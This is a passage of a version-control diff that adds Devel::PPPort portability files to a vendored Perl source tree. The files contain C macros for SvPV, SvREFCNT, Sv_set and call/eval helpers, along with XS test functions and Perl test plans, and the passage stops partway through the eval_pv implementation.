+#endif
+
+#else /* single interpreter */
+
+#ifndef START_MY_CXT
+
+#define START_MY_CXT    static my_cxt_t my_cxt;
+#define dMY_CXT_SV      dNOOP
+#define dMY_CXT         dNOOP
+#define MY_CXT_INIT     NOOP
+#define MY_CXT          my_cxt
+
+#define pMY_CXT         void
+#define pMY_CXT_
+#define _pMY_CXT
+#define aMY_CXT
+#define aMY_CXT_
+#define _aMY_CXT
+
+#endif /* START_MY_CXT */
+
+#ifndef MY_CXT_CLONE
+#define MY_CXT_CLONE    NOOP
+#endif
+
+#endif
+
+=xsmisc
+
+#define MY_CXT_KEY "Devel::PPPort::_guts" XS_VERSION
+
+typedef struct {
+  /* Put Global Data in here */
+  int dummy;
+} my_cxt_t;
+
+START_MY_CXT
+
+=xsboot
+
+{
+  MY_CXT_INIT;
+  /* If any of the fields in the my_cxt_t struct need
+   * to be initialised, do it here.
+   */
+  MY_CXT.dummy = 42;
+}
+
+=xsubs
+
+int
+MY_CXT_1()
+        CODE:
+                dMY_CXT;
+                RETVAL = MY_CXT.dummy == 42;
+                ++MY_CXT.dummy;
+        OUTPUT:
+                RETVAL
+
+int
+MY_CXT_2()
+        CODE:
+                dMY_CXT;
+                RETVAL = MY_CXT.dummy == 43;
+        OUTPUT:
+                RETVAL
+
+int
+MY_CXT_CLONE()
+        CODE:
+                MY_CXT_CLONE;
+                RETVAL = 42;
+        OUTPUT:
+                RETVAL
+
+=tests plan => 3
+
+ok(&Devel::PPPort::MY_CXT_1());
+ok(&Devel::PPPort::MY_CXT_2());
+ok(&Devel::PPPort::MY_CXT_CLONE());

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvPV
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvPV	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvPV	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,534 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+SvPVbyte
+sv_2pvbyte
+sv_2pv_flags
+sv_pvn_force_flags
+
+=dontwarn
+
+NEED_sv_2pv_flags
+NEED_sv_2pv_flags_GLOBAL
+
+=implementation
+
+/* Backwards compatibility stuff... :-( */
+#if !defined(NEED_sv_2pv_flags) && defined(NEED_sv_2pv_nolen)
+#  define NEED_sv_2pv_flags
+#endif
+#if !defined(NEED_sv_2pv_flags_GLOBAL) && defined(NEED_sv_2pv_nolen_GLOBAL)
+#  define NEED_sv_2pv_flags_GLOBAL
+#endif
+
+/* Hint: sv_2pv_nolen
+ * Use the SvPV_nolen() or SvPV_nolen_const() macros instead of sv_2pv_nolen().
+ */
+
+__UNDEFINED__  sv_2pv_nolen(sv)   SvPV_nolen(sv)
+
+#ifdef SvPVbyte
+
+/* Hint: SvPVbyte
+ * Does not work in perl-5.6.1, ppport.h implements a version
+ * borrowed from perl-5.7.3.
+ */
+
+#if { VERSION < 5.7.0 }
+
+#if { NEED sv_2pvbyte }
+
+char *
+sv_2pvbyte(pTHX_ SV *sv, STRLEN *lp)
+{
+  sv_utf8_downgrade(sv,0);
+  return SvPV(sv,*lp);
+}
+
+#endif
+
+/* Hint: sv_2pvbyte
+ * Use the SvPVbyte() macro instead of sv_2pvbyte().
+ */
+
+#undef SvPVbyte
+
+#define SvPVbyte(sv, lp)                                                \
+        ((SvFLAGS(sv) & (SVf_POK|SVf_UTF8)) == (SVf_POK)                \
+         ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_2pvbyte(sv, &lp))
+
+#endif
+
+#else
+
+#  define SvPVbyte          SvPV
+#  define sv_2pvbyte        sv_2pv
+
+#endif
+
+__UNDEFINED__  sv_2pvbyte_nolen(sv)  sv_2pv_nolen(sv)
+
+/* Hint: sv_pvn
+ * Always use the SvPV() macro instead of sv_pvn().
+ */
+
+/* Hint: sv_pvn_force
+ * Always use the SvPV_force() macro instead of sv_pvn_force().
+ */
+
+/* If these are undefined, they're not handled by the core anyway */
+__UNDEFINED__  SV_IMMEDIATE_UNREF       0
+__UNDEFINED__  SV_GMAGIC                0
+__UNDEFINED__  SV_COW_DROP_PV           0
+__UNDEFINED__  SV_UTF8_NO_ENCODING      0
+__UNDEFINED__  SV_NOSTEAL               0
+__UNDEFINED__  SV_CONST_RETURN          0
+__UNDEFINED__  SV_MUTABLE_RETURN        0
+__UNDEFINED__  SV_SMAGIC                0
+__UNDEFINED__  SV_HAS_TRAILING_NUL      0
+__UNDEFINED__  SV_COW_SHARED_HASH_KEYS  0
+
+#if { VERSION < 5.7.2 }
+
+#if { NEED sv_2pv_flags }
+
+char *
+sv_2pv_flags(pTHX_ SV *sv, STRLEN *lp, I32 flags)
+{
+  STRLEN n_a = (STRLEN) flags;
+  return sv_2pv(sv, lp ? lp : &n_a);
+}
+
+#endif
+
+#if { NEED sv_pvn_force_flags }
+
+char *
+sv_pvn_force_flags(pTHX_ SV *sv, STRLEN *lp, I32 flags)
+{
+  STRLEN n_a = (STRLEN) flags;
+  return sv_pvn_force(sv, lp ? lp : &n_a);
+}
+
+#endif
+
+#endif
+
+#if { VERSION < 5.8.8 } || ( { VERSION >= 5.9.0 } && { VERSION < 5.9.3 } )
+# define D_PPP_SVPV_NOLEN_LP_ARG &PL_na
+#else
+# define D_PPP_SVPV_NOLEN_LP_ARG 0
+#endif
+
+__UNDEFINED__  SvPV_const(sv, lp)      SvPV_flags_const(sv, lp, SV_GMAGIC)
+__UNDEFINED__  SvPV_mutable(sv, lp)    SvPV_flags_mutable(sv, lp, SV_GMAGIC)
+
+__UNDEFINED__  SvPV_flags(sv, lp, flags) \
+                 ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+                  ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_2pv_flags(sv, &lp, flags))
+
+__UNDEFINED__  SvPV_flags_const(sv, lp, flags) \
+                 ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+                  ? ((lp = SvCUR(sv)), SvPVX_const(sv)) : \
+                  (const char*) sv_2pv_flags(sv, &lp, flags|SV_CONST_RETURN))
+
+__UNDEFINED__  SvPV_flags_const_nolen(sv, flags) \
+                 ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+                  ? SvPVX_const(sv) : \
+                  (const char*) sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags|SV_CONST_RETURN))
+
+__UNDEFINED__  SvPV_flags_mutable(sv, lp, flags) \
+                 ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+                  ? ((lp = SvCUR(sv)), SvPVX_mutable(sv)) : \
+                  sv_2pv_flags(sv, &lp, flags|SV_MUTABLE_RETURN))
+
+__UNDEFINED__  SvPV_force(sv, lp) SvPV_force_flags(sv, lp, SV_GMAGIC)
+__UNDEFINED__  SvPV_force_nolen(sv) SvPV_force_flags_nolen(sv, SV_GMAGIC)
+__UNDEFINED__  SvPV_force_mutable(sv, lp) SvPV_force_flags_mutable(sv, lp, SV_GMAGIC)
+__UNDEFINED__  SvPV_force_nomg(sv, lp) SvPV_force_flags(sv, lp, 0)
+__UNDEFINED__  SvPV_force_nomg_nolen(sv) SvPV_force_flags_nolen(sv, 0)
+
+__UNDEFINED__  SvPV_force_flags(sv, lp, flags) \
+                 ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+                 ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_pvn_force_flags(sv, &lp, flags))
+
+__UNDEFINED__  SvPV_force_flags_nolen(sv, flags) \
+                 ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+                 ? SvPVX(sv) : sv_pvn_force_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags))
+
+__UNDEFINED__  SvPV_force_flags_mutable(sv, lp, flags) \
+                 ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+                 ? ((lp = SvCUR(sv)), SvPVX_mutable(sv)) \
+                  : sv_pvn_force_flags(sv, &lp, flags|SV_MUTABLE_RETURN))
+
+__UNDEFINED__  SvPV_nolen(sv) \
+                 ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+                  ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC))
+
+__UNDEFINED__  SvPV_nolen_const(sv) \
+                 ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+                  ? SvPVX_const(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC|SV_CONST_RETURN))
+
+__UNDEFINED__  SvPV_nomg(sv, lp) SvPV_flags(sv, lp, 0)
+__UNDEFINED__  SvPV_nomg_const(sv, lp) SvPV_flags_const(sv, lp, 0)
+__UNDEFINED__  SvPV_nomg_const_nolen(sv) SvPV_flags_const_nolen(sv, 0)
+__UNDEFINED__  SvPV_nomg_nolen(sv) ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+                                    ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, 0))
+
+__UNDEFINED__  SvPV_renew(sv,n) STMT_START { SvLEN_set(sv, n); \
+                 SvPV_set((sv), (char *) saferealloc(          \
+                       (Malloc_t)SvPVX(sv), (MEM_SIZE)((n)))); \
+               } STMT_END
+
+=xsinit
+
+#define NEED_sv_2pv_flags
+#define NEED_sv_pvn_force_flags
+#define NEED_sv_2pvbyte
+
+=xsubs
+
+IV
+SvPVbyte(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPVbyte(sv, len);
+                RETVAL = strEQ(str, "mhx") ? (IV) len : (IV) -1;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_nolen(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+        CODE:
+                str = SvPV_nolen(sv);
+                RETVAL = strEQ(str, "mhx") ? 42 : 0;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_const(sv)
+        SV *sv
+        PREINIT:
+                const char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_const(sv, len);
+                RETVAL = len + (strEQ(str, "mhx") ? 40 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_mutable(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_mutable(sv, len);
+                RETVAL = len + (strEQ(str, "mhx") ? 41 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_flags(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_flags(sv, len, SV_GMAGIC);
+                RETVAL = len + (strEQ(str, "mhx") ? 42 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_flags_const(sv)
+        SV *sv
+        PREINIT:
+                const char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_flags_const(sv, len, SV_GMAGIC);
+                RETVAL = len + (strEQ(str, "mhx") ? 43 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_flags_const_nolen(sv)
+        SV *sv
+        PREINIT:
+                const char *str;
+        CODE:
+                str = SvPV_flags_const_nolen(sv, SV_GMAGIC);
+                RETVAL = strEQ(str, "mhx") ? 47 : 0;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_flags_mutable(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_flags_mutable(sv, len, SV_GMAGIC);
+                RETVAL = len + (strEQ(str, "mhx") ? 45 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_force(sv, len);
+                RETVAL = len + (strEQ(str, "mhx") ? 46 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force_nolen(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+        CODE:
+                str = SvPV_force_nolen(sv);
+                RETVAL = strEQ(str, "mhx") ? 50 : 0;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force_mutable(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_force_mutable(sv, len);
+                RETVAL = len + (strEQ(str, "mhx") ? 48 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force_nomg(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_force_nomg(sv, len);
+                RETVAL = len + (strEQ(str, "mhx") ? 49 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force_nomg_nolen(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+        CODE:
+                str = SvPV_force_nomg_nolen(sv);
+                RETVAL = strEQ(str, "mhx") ? 53 : 0;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force_flags(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_force_flags(sv, len, SV_GMAGIC);
+                RETVAL = len + (strEQ(str, "mhx") ? 51 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force_flags_nolen(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+        CODE:
+                str = SvPV_force_flags_nolen(sv, SV_GMAGIC);
+                RETVAL = strEQ(str, "mhx") ? 55 : 0;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_force_flags_mutable(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_force_flags_mutable(sv, len, SV_GMAGIC);
+                RETVAL = len + (strEQ(str, "mhx") ? 53 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_nolen_const(sv)
+        SV *sv
+        PREINIT:
+                const char *str;
+        CODE:
+                str = SvPV_nolen_const(sv);
+                RETVAL = strEQ(str, "mhx") ? 57 : 0;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_nomg(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_nomg(sv, len);
+                RETVAL = len + (strEQ(str, "mhx") ? 55 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_nomg_const(sv)
+        SV *sv
+        PREINIT:
+                const char *str;
+                STRLEN len;
+        CODE:
+                str = SvPV_nomg_const(sv, len);
+                RETVAL = len + (strEQ(str, "mhx") ? 56 : 0);
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_nomg_const_nolen(sv)
+        SV *sv
+        PREINIT:
+                const char *str;
+        CODE:
+                str = SvPV_nomg_const_nolen(sv);
+                RETVAL = strEQ(str, "mhx") ? 60 : 0;
+        OUTPUT:
+                RETVAL
+
+IV
+SvPV_nomg_nolen(sv)
+        SV *sv
+        PREINIT:
+                char *str;
+        CODE:
+                str = SvPV_nomg_nolen(sv);
+                RETVAL = strEQ(str, "mhx") ? 61 : 0;
+        OUTPUT:
+                RETVAL
+
+void
+SvPV_renew(sv, nlen, insv)
+        SV *sv
+        STRLEN nlen
+        SV *insv
+        PREINIT:
+                STRLEN slen;
+                const char *str;
+        PPCODE:
+                str = SvPV_const(insv, slen);
+                XPUSHs(sv);
+                mXPUSHi(SvLEN(sv));
+                SvPV_renew(sv, nlen);
+                Copy(str, SvPVX(sv), slen + 1, char);
+                SvCUR_set(sv, slen);
+                mXPUSHi(SvLEN(sv));
+
+
+=tests plan => 49
+
+my $mhx = "mhx";
+
+ok(&Devel::PPPort::SvPVbyte($mhx), 3);
+
+my $i = 42;
+
+ok(&Devel::PPPort::SvPV_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_const($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_flags_mutable($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_force_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), $i++);
+
+ok(&Devel::PPPort::SvPV_nolen_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), $i++);
+ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), $i++);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_flags_mutable($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_nomg_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_force_flags_mutable($mhx), 2);
+
+$mhx = 42; ok(&Devel::PPPort::SvPV_nolen_const($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const($mhx), 2);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_const_nolen($mhx), 0);
+$mhx = 42; ok(&Devel::PPPort::SvPV_nomg_nolen($mhx), 0);
+
+my $str = "";
+&Devel::PPPort::SvPV_force($str);
+my($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 81, "x"x80);
+ok($str, "x"x80);
+ok($s2, "x"x80);
+ok($before < 81);
+ok($after, 81);
+
+$str = "x"x400;
+&Devel::PPPort::SvPV_force($str);
+($s2, $before, $after) = &Devel::PPPort::SvPV_renew($str, 41, "x"x40);
+ok($str, "x"x40);
+ok($s2, "x"x40);
+ok($before > 41);
+ok($after, 41);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvREFCNT
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvREFCNT	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/SvREFCNT	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,123 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+SvREFCNT_inc
+SvREFCNT_inc_simple
+SvREFCNT_inc_NN
+SvREFCNT_inc_void
+__UNDEFINED__
+
+=implementation
+
+#ifndef SvREFCNT_inc
+#  ifdef PERL_USE_GCC_BRACE_GROUPS
+#    define SvREFCNT_inc(sv)            \
+      ({                                \
+          SV * const _sv = (SV*)(sv);   \
+          if (_sv)                      \
+               (SvREFCNT(_sv))++;       \
+          _sv;                          \
+      })
+#  else
+#    define SvREFCNT_inc(sv)    \
+          ((PL_Sv=(SV*)(sv)) ? (++(SvREFCNT(PL_Sv)),PL_Sv) : NULL)
+#  endif
+#endif
+
+#ifndef SvREFCNT_inc_simple
+#  ifdef PERL_USE_GCC_BRACE_GROUPS
+#    define SvREFCNT_inc_simple(sv)     \
+      ({                                        \
+          if (sv)                               \
+               (SvREFCNT(sv))++;                \
+          (SV *)(sv);                           \
+      })
+#  else
+#    define SvREFCNT_inc_simple(sv) \
+          ((sv) ? (SvREFCNT(sv)++,(SV*)(sv)) : NULL)
+#  endif
+#endif
+
+#ifndef SvREFCNT_inc_NN
+#  ifdef PERL_USE_GCC_BRACE_GROUPS
+#    define SvREFCNT_inc_NN(sv)         \
+      ({                                        \
+          SV * const _sv = (SV*)(sv);   \
+          SvREFCNT(_sv)++;              \
+          _sv;                          \
+      })
+#  else
+#    define SvREFCNT_inc_NN(sv) \
+          (PL_Sv=(SV*)(sv),++(SvREFCNT(PL_Sv)),PL_Sv)
+#  endif
+#endif
+
+#ifndef SvREFCNT_inc_void
+#  ifdef PERL_USE_GCC_BRACE_GROUPS
+#    define SvREFCNT_inc_void(sv)               \
+      ({                                        \
+          SV * const _sv = (SV*)(sv);   \
+          if (_sv)                      \
+              (void)(SvREFCNT(_sv)++);  \
+      })
+#  else
+#    define SvREFCNT_inc_void(sv) \
+          (void)((PL_Sv=(SV*)(sv)) ? ++(SvREFCNT(PL_Sv)) : 0)
+#  endif
+#endif
+
+__UNDEFINED__  SvREFCNT_inc_simple_void(sv)     STMT_START { if (sv) SvREFCNT(sv)++; } STMT_END
+__UNDEFINED__  SvREFCNT_inc_simple_NN(sv)       (++SvREFCNT(sv), (SV*)(sv))
+__UNDEFINED__  SvREFCNT_inc_void_NN(sv)         (void)(++SvREFCNT((SV*)(sv)))
+__UNDEFINED__  SvREFCNT_inc_simple_void_NN(sv)  (void)(++SvREFCNT((SV*)(sv)))
+
+=xsubs
+
+void
+SvREFCNT()
+        PREINIT:
+                SV *sv, *svr;
+        PPCODE:
+                sv = newSV(0);
+                mXPUSHi(SvREFCNT(sv) == 1);
+                svr = SvREFCNT_inc(sv);
+                mXPUSHi(sv == svr);
+                mXPUSHi(SvREFCNT(sv) == 2);
+                svr = SvREFCNT_inc_simple(sv);
+                mXPUSHi(sv == svr);
+                mXPUSHi(SvREFCNT(sv) == 3);
+                svr = SvREFCNT_inc_NN(sv);
+                mXPUSHi(sv == svr);
+                mXPUSHi(SvREFCNT(sv) == 4);
+                svr = SvREFCNT_inc_simple_NN(sv);
+                mXPUSHi(sv == svr);
+                mXPUSHi(SvREFCNT(sv) == 5);
+                SvREFCNT_inc_void(sv);
+                mXPUSHi(SvREFCNT(sv) == 6);
+                SvREFCNT_inc_simple_void(sv);
+                mXPUSHi(SvREFCNT(sv) == 7);
+                SvREFCNT_inc_void_NN(sv);
+                mXPUSHi(SvREFCNT(sv) == 8);
+                SvREFCNT_inc_simple_void_NN(sv);
+                mXPUSHi(SvREFCNT(sv) == 9);
+                while (SvREFCNT(sv) > 1)
+                  SvREFCNT_dec(sv);
+                mXPUSHi(SvREFCNT(sv) == 1);
+                SvREFCNT_dec(sv);
+                XSRETURN(14);
+
+=tests plan => 14
+
+for (Devel::PPPort::SvREFCNT()) {
+  ok(defined $_ and $_);
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/Sv_set
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/Sv_set	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/Sv_set	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,118 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ SvMAGIC_set(sv, val) \
+                STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+                (((XPVMG*) SvANY(sv))->xmg_magic = (val)); } STMT_END
+
+#if { VERSION < 5.9.3 }
+
+__UNDEFINED__ SvPVX_const(sv)     ((const char*) (0 + SvPVX(sv)))
+__UNDEFINED__ SvPVX_mutable(sv)   (0 + SvPVX(sv))
+
+__UNDEFINED__ SvRV_set(sv, val) \
+                STMT_START { assert(SvTYPE(sv) >=  SVt_RV); \
+                (((XRV*) SvANY(sv))->xrv_rv = (val)); } STMT_END
+
+#else
+
+__UNDEFINED__ SvPVX_const(sv)     ((const char*)((sv)->sv_u.svu_pv))
+__UNDEFINED__ SvPVX_mutable(sv)   ((sv)->sv_u.svu_pv)
+
+__UNDEFINED__ SvRV_set(sv, val) \
+                STMT_START { assert(SvTYPE(sv) >=  SVt_RV); \
+                ((sv)->sv_u.svu_rv = (val)); } STMT_END
+
+#endif
+
+__UNDEFINED__ SvSTASH_set(sv, val) \
+                STMT_START { assert(SvTYPE(sv) >= SVt_PVMG); \
+                (((XPVMG*) SvANY(sv))->xmg_stash = (val)); } STMT_END
+
+#if { VERSION < 5.004 }
+
+__UNDEFINED__ SvUV_set(sv, val) \
+                STMT_START { assert(SvTYPE(sv) == SVt_IV || SvTYPE(sv) >= SVt_PVIV); \
+                (((XPVIV*) SvANY(sv))->xiv_iv = (IV) (val)); } STMT_END
+
+#else
+
+__UNDEFINED__ SvUV_set(sv, val) \
+                STMT_START { assert(SvTYPE(sv) == SVt_IV || SvTYPE(sv) >= SVt_PVIV); \
+                (((XPVUV*) SvANY(sv))->xuv_uv = (val)); } STMT_END
+
+#endif
+
+=xsubs
+
+IV
+TestSvUV_set(sv, val)
+        SV *sv
+        UV val
+        CODE:
+                SvUV_set(sv, val);
+                RETVAL = SvUVX(sv) == val ? 42 : -1;
+        OUTPUT:
+                RETVAL
+
+IV
+TestSvPVX_const(sv)
+        SV *sv
+        CODE:
+                RETVAL = strEQ(SvPVX_const(sv), "mhx") ? 43 : -1;
+        OUTPUT:
+                RETVAL
+
+IV
+TestSvPVX_mutable(sv)
+        SV *sv
+        CODE:
+                RETVAL = strEQ(SvPVX_mutable(sv), "mhx") ? 44 : -1;
+        OUTPUT:
+                RETVAL
+
+void
+TestSvSTASH_set(sv, name)
+        SV *sv
+        char *name
+        CODE:
+                sv = SvRV(sv);
+                SvREFCNT_dec(SvSTASH(sv));
+                SvSTASH_set(sv, (HV*) SvREFCNT_inc(gv_stashpv(name, 0)));
+
+=tests plan => 5
+
+my $foo = 5;
+ok(&Devel::PPPort::TestSvUV_set($foo, 12345), 42);
+ok(&Devel::PPPort::TestSvPVX_const("mhx"), 43);
+ok(&Devel::PPPort::TestSvPVX_mutable("mhx"), 44);
+
+my $bar = [];
+
+bless $bar, 'foo';
+ok($bar->x(), 'foobar');
+
+Devel::PPPort::TestSvSTASH_set($bar, 'bar');
+ok($bar->x(), 'hacker');
+
+package foo;
+
+sub x { 'foobar' }
+
+package bar;
+
+sub x { 'hacker' }

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/call
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/call	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/call	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,364 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+eval_pv
+eval_sv
+call_sv
+call_pv
+call_argv
+call_method
+load_module
+vload_module
+G_METHOD
+
+=implementation
+
+/* Replace: 1 */
+__UNDEFINED__  call_sv       perl_call_sv
+__UNDEFINED__  call_pv       perl_call_pv
+__UNDEFINED__  call_argv     perl_call_argv
+__UNDEFINED__  call_method   perl_call_method
+
+__UNDEFINED__  eval_sv       perl_eval_sv
+/* Replace: 0 */
+
+__UNDEFINED__ PERL_LOADMOD_DENY         0x1
+__UNDEFINED__ PERL_LOADMOD_NOIMPORT     0x2
+__UNDEFINED__ PERL_LOADMOD_IMPORT_OPS   0x4
+
+#ifndef G_METHOD
+# define G_METHOD               64
+# ifdef call_sv
+#  undef call_sv
+# endif
+# if { VERSION < 5.6.0 }
+#  define call_sv(sv, flags)  ((flags) & G_METHOD ? perl_call_method((char *) SvPV_nolen_const(sv), \
+                                (flags) & ~G_METHOD) : perl_call_sv(sv, flags))
+# else
+#  define call_sv(sv, flags)  ((flags) & G_METHOD ? Perl_call_method(aTHX_ (char *) SvPV_nolen_const(sv), \
+                                (flags) & ~G_METHOD) : Perl_call_sv(aTHX_ sv, flags))
+# endif
+#endif
+
+/* Replace perl_eval_pv with eval_pv */
+
+#ifndef eval_pv
+#if { NEED eval_pv }
+
+SV*
+eval_pv(char *p, I32 croak_on_error)
+{
+    dSP;
+    SV* sv = newSVpv(p, 0);
+
+    PUSHMARK(sp);
+    eval_sv(sv, G_SCALAR);
